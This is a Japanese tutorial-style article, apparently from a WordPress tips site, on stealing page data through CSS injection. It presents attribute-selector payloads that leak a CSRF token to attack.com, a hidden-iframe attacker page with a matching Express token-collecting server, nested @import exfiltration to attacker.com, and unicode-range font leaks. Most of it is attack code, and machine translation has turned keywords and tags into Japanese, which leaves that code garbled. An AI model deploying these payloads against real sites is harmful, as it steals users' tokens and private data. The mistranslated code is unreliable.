CSSインジェクションの知識の要約

CSSインジェクションの知識の要約

最近のブラウザでは、CSS 内で JavaScript を実行することはできなくなりました。以前は、CSS インジェクションによって JavaScript プロトコルが使用され、url() および expression() 内で JavaScript コードが実行され、XSS が実現されていました。しかし、CSS インジェクションは依然としてデータの盗難に非常に有効です。以下で 1 つずつ分析してみましょう。

CSSインジェクションはタグ属性データを盗む

CSS では属性セレクターを使用して、さまざまな属性に基づいてタグを選択できます。たとえば、次の CSS は、a 属性を持ち、その値が abc である p タグを選択します。

<style>p[a="abc"]{ 色: 赤; }
 <pa="abc">こんにちは世界</p>

属性セレクターは、XXX で始まる、XXX で終わるなど、値の特定の特性と一致させることもできます。

上記のプロパティを使用すると、ページ タグ属性内のデータを盗むことができます。たとえば、csrfToken が特定の文字で始まる場合、攻撃者は url() を通じて通知を受け、csrfToken の最初の数字を盗むことができます。

<スタイル>
入力[値^="0"] {
    背景: url(http://attack.com/0);
}
入力[値^="1"] {
    背景: url(http://attack.com/1);
}
入力[値^="2"] {
    背景: url(http://attack.com/2);
}
...
入力[値^="Y"] {
    背景: url(http://attack.com/Y);
}
入力[値^="Z"] {
    背景: url(http://attack.com/Z);
}
</スタイル>

<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

最初はZ、次に2番目を盗む

<スタイル>
入力[値^="Z0"] {
    背景: url(http://attack.com/0);
}
...
入力[値^="ZZ"] {
    背景: url(http://attack.com/Z);
}
</スタイル>
<input name="csrfToken" value="ZTU1MzE1YjRiZGQMRmNjYwMTAzYjk4YjhjNGI0ZA==">

隠された謎を解く

もちろん、まだ問題が残っています。タグtype=hiddenの場合、ブラウザはbackground設定を許可しないため、サーバーへの url() リクエストをトリガーできません。

1 つの解決策は、~ CSS 兄弟セレクターを使用して、後続のすべての兄弟ノードの背景を設定することです。

入力[値^="Z"] ~*{
    背景: url(http://attack.com/Z);
}

バッチ実装

もちろん、桁数が短く、可能性が少ない場合はすべてをリストできますが、通常は数が多すぎるため、バッチで取得するためのトリックを使用する必要があります。

CSS インジェクションの対象となる Web サイトが次のとおりであり、入力タグ内の csrfToken 値を盗むことが目的であると仮定します。

<!DOCTYPE html>
<html>
<ヘッド>
    <title>CSS インジェクション</title>
</head>
<本文>
<input type=hidden name="csrfToken" value=<?=md5(date("h"))?>>
<入力タイプ="" 名前="">
<スタイル><?php echo $_GET['css']?></スタイル>
</本文>
</html>

iframe付き

CSS インジェクションのある Web サイトのレスポンス ヘッダーがX-Frame-Optionsによって保護されていない場合、悪意のあるページを作成し、 js を使用して脆弱な Web サイトを含む iframe を作成し、 CSS インジェクションを使用して csrfToken 値を取得し、 url()を介してサーバーに送信できます。 サーバーはフロントエンド js に、2 番目の値を盗むための iframe の作成を継続するように指示し、すべてが読み取られるまで上記の操作を継続します。もちろん、そのためには、脆弱な Web サイトのコンテンツが要求されるたびに変更されないことが必要です。

ここで問題があります。サーバーはどのようにしてフロントエンド js に CSS を構築するよう指示するのでしょうか? 上記の例のように、盗まれた最初のビットが Z の場合、2 番目のペイロードは Z で始まる必要があります。

以下のペイロードは https://medium.com/bugbountywriteup/exfiltrate-via-css-injection-4e999f63097d から取得されています。

アイデアとしては、フロントエンド js が setTimeout を使用して定期的にサーバーに要求し、サーバーが CSS を挿入して取得したトークンを返すというものです。

<html>
    <スタイル>
        #フレーム{
            可視性: 非表示;
        }
    </スタイル>
    <本文>
        <div id="現在"></div>
        <div id="次の時間までの時間"></div>
        <div id="フレーム"></div>
    </本文>
    <スクリプト>
        vuln_url = 'http://127.0.0.1:8084/vuln.php?css=';
        server_receive_token_url = 'http://127.0.0.1:8083/receive/';
        server_return_token_url = 'http://127.0.0.1:8083/return';

        文字 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split("");
        既知 = "";

        関数 test_char(既知の文字) {
            // すべてのフレームを削除します
            document.getElementById("フレーム").innerHTML = "";

            // 既知の文字に文字を追加します
            css = build_css(chars.map(v => known + v));

            // 攻撃を試すために iframe を作成します。`X-Frame-Options` がこれをブロックしている場合は、新しいタブを使用できます...
            フレーム = document.createElement("iframe");
            frame.src = vuln_url + css;
            frame.style="visibility: hidden;"; // こっそりこっそりしなきゃ
            document.getElementById("frames").appendChild(frame);

            // iframe が読み込まれた後 1 秒以内に、応答があったかどうかを確認します
            setTimeout(関数() {
                var oReq = 新しい XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        関数build_css(値) {
            css_payload = "";
            for(var value in values) {
                css_payload += "入力[値^=\""
                    + 値[値]
                    + "\"]~*{背景画像:url(" 
                    + サーバー受信トークン URL
                    + 値[値]
                    + ")%3B}"; //URL ではセミコロンが意味を持つため、実際のセミコロンは使用できません
            }
            css_payload を返します。
        }

        関数known_listener() {
            document.getElementById("current").innerHTML = "現在のトークン: " + this.responseText;
            if(既知 != this.responseText) {
                既知 = this.responseText;
                test_char(既知の文字数);
            } それ以外 {
                既知 = this.responseText;
                alert("CSRF トークンは: " + 既知です);
            }
        }

        test_char("", 文字);
    </スクリプト>
</html>

サーバー コードは、ペイロードに合わせて私が作成しました。

var express = require('express');
var app = express();
var パス = require('パス');
var トークン = "";

app.get('/receive/:token', 関数(req, res) {
    トークン = req.params.token;
    console.log(トークン)
    res.send('ok');
});

app.get('/return', 関数(req, res){
    res.send(トークン);
});

app.get('/client.html', 関数(req, res){
    res.sendFile(path.join(__dirname, 'client.html'));
})


var server = app.listen(8083, 関数() {
    var ホスト = server.address().address
    var ポート = server.address().port
    console.log("http://%s:%s でリッスンしているサンプル アプリ"、ホスト、ポート)
})

別の方法としては、サーバー経由でトークンを Cookie に書き込み、Cookie が変更されたかどうかを定期的に確認する方法があります。

また、一部のマスターは、WebSocket を使用してよりエレガントに実装していることもわかりました。出典: github.com

iframeなし

https://github.com/dxa4481/cssInjection iframe を使わないインジェクションの方法を紹介します。

原理も非常に単純です。脆弱なページを導入するために iframe を使用することはできないため、 window.openを通じて新しいウィンドウを継続的に開くことができ、上記と同様の効果が得られます。もちろん、この方法ではユーザーのクリック動作を乗っ取る必要があります。そうしないと、ブラウザは新しいウィンドウを開くことを禁止します。

この記事では、バックグラウンド サーバーを使用せずに、 service workersを使用してクライアント要求をインターセプトし、取得したトークン値をローカルのローカル ストレージに保存するソリューションも提案しています。

@輸入

Chrome の @import 機能を使用したこの方法は、この記事で提案されています: https://medium.com/@d0nut/better-exfiltrate-via-html-injection-31c72a2dae8bこの方法の利点は、ページを更新せずにすべてのトークンを取得でき、iframe が不要であることです。ただし、欠点は Chrome でのみ使用でき、その特性上、スタイル タグ ヘッダーに挿入する必要があることです。

外部スタイルを導入するための一般的な<link>タグに加えて、 @importを通じて CSS を導入することもできます。

url をインポートします(http://style.com/css.css);

ただし、@import はスタイルシート ヘッダーの最初に宣言する必要があり、セミコロンが必要です。 @importによって導入されたスタイルシートは、対応するインライン スタイルを直接置き換えます。

上記の効果を実装すると、Chrome は @import 外部スタイルシートが返されるたびにページの他のスタイルシートを再計算します。この機能を使用して @import をネストし、1 回のリクエストでトークン全体を取得できます。

これは彼の記事からの写真ですが、非常に鮮明です。

この図は、盗まれるデータの長さが3であると仮定しています。最初に挿入されるCSSコンテンツは@import url(http://attacker.com/staging);で、これは次のコードを返します。

@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);

このとき、ページ@import url(http://attacker.com/polling?len=0);スタイルシートを取得する必要があり、トークンを盗むペイロードを返します。

@import url(http://attacker.com/polling?len=1);盗まれたデータがサーバーに送信された後に応答します。応答は盗まれたデータの 2 番目のビットです。

この記事では、この脆弱性を悪用するための非常に簡単に使用できるオープンソース ツールも紹介しています。

https://github.com/d0nutptr/sic

タグコンテンツデータを盗む

タグコンテンツデータの窃取は比較的厄介です。昨年のxctf決勝でもこれに関する問題が出ました。

ユニコード範囲を使用して推測する

https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html の考え方に従えば、 @font-faceのフォント記述unicode-rangeを指定して、特定の文字が存在する場合にサーバーに通知することができます。

<スタイル>
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?A); /* 取得済み */
 ユニコード範囲:U+0041;
}
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?B); /* フェッチも */
 ユニコード範囲:U+0042;
}
@フォントフェイス{
 フォントファミリ:poc;
 src: url(http://attacker.example.com/?C); /* 取得されませんでした */
 ユニコード範囲:U+0043;
}
#機密情報{
 フォントファミリ:poc;
}
</スタイル>
<p id="sensitive-information">AB</p>

もちろん、これはどの文字が含まれているかを示すだけであり、文字数が多すぎると意味がなくなります。しかし、それは良いアイデアであり、特定の状況では役立つかもしれません。

合字の使用

これは、昨年 xctf マスターが問題を解決するために使用した方法です。

簡単に言うと、合字は複数の文字の組み合わせです。詳細については、Baidu で検索してください。ここでは、すべての文字の幅を 0 に設定し、合字フラグの幅を非常に大きく設定したフォントを独自に作成できます。このとき、指定したタグの内容にflag列が表示されると、幅によってスクロールバーが表示されます。スクロールバーが表示されたら、url() を使用してサーバーに要求します。

この方法では、逆方向に推測し続けることができます。フォントとペイロードの作成の詳細については、こちらを参照してください。

要約する

CSSインジェクションの知識のまとめはこれで終わりです。CSSインジェクションに関するより関連性の高いコンテンツについては、123WORDPRESS.COMの過去の記事を検索するか、以下の関連記事を引き続き閲覧してください。今後とも123WORDPRESS.COMをよろしくお願いいたします。

<<:  高品質なコードを書く Web フロントエンド開発実践書の抜粋

>>:  Apache をインストールした後、サービスを開始できません (サービスを開始するとエラー コード 1 が表示されます)

推薦する

JavaScript キャンバスで 9 マスのグリッドカットの効果を実現

この記事では、9グリッドカット効果を実現するためのキャンバスの具体的なコードを紹介します。具体的な内...

vue-cropper を使用して vue で写真をトリミングする方法をご存知ですか?

目次1. インストール: 2. 使用方法: 3. 組み込みメソッド: 4. 使用方法:要約する公式サ...

CentOS 7.6 Telnetサービス構築プロセス(Opensshアップグレードバトル第一弾のバックアップトランスポートライン構築)

不明な点があるときはいつでも、Blog Park にアクセスして、いつでも答えやインスピレーションを...

docker compose を使ってワンクリックで分散構成センター Apollo を展開するプロセスの詳細な説明

導入分散について話すときは、分散構成センター、分散ログ、分散リンク トラッキングなどについて考える必...

Vueはカスタムツリーコンポーネントを再帰的に実装します

この記事では、カスタムツリーコンポーネントを再帰的に実装するVueの具体的なコードを参考までに共有し...

MySQL 5.7 で my.ini ファイルが見つからない場合の解決策

my.ini とは何ですか? my.ini は、MySQL データベースで使用される設定ファイルです...

Node.jsはブレークポイント再開を実装する

目次ソリューション分析スライス履歴書のダウンロード具体的な解決プロセス論理的分析フロントエンドサーバ...

Vue カプセル化コンポーネント ツール $attrs、$listeners の使用

目次序文$属性例: $listeners (公式説明)使用シナリオ要約する序文複数レベルのコンポーネ...

画面なしで無線ネットワークに接続しているときに Raspberry Pi の IP アドレスを見つける方法

あなたがlinuxerだと仮定すると、 windowserだとは想定しません。Windows ユーザ...

MySQL5.7 mysqldump バックアップとリカバリの実装

MySQL バックアップコールドバックアップ:停止服務進行備份,即停止數據庫的寫入ホットバックアップ...

DIV、テーブル、XHTML のウェブサイト構築の違いの分析と説明

簡単に言えば、ウェブサイト構築とは、「この人はどんな外見をしているのか」と「この人はどんな内面を持っ...

ページのキャッシュを防ぐソリューション

解決: <head> に次のコードを追加します。コードをコピーコードは次のとおりです。 ...

count(1)、count(*)、count(列名)の実行の違いの詳細な説明

実施効果: 1. count(1) と count(*)テーブル内のデータ量が多い場合、テーブルを分...

方言変換のためのApache Calciteコード

意味Calcite は、Sql を SqlNode に解析し、次に SqlNode を特定のデータベ...

SQLはLeetCodeを実装します(180.連続した数字)

[LeetCode] 180. 連続した数字少なくとも 3 回連続して出現するすべての数字を検索す...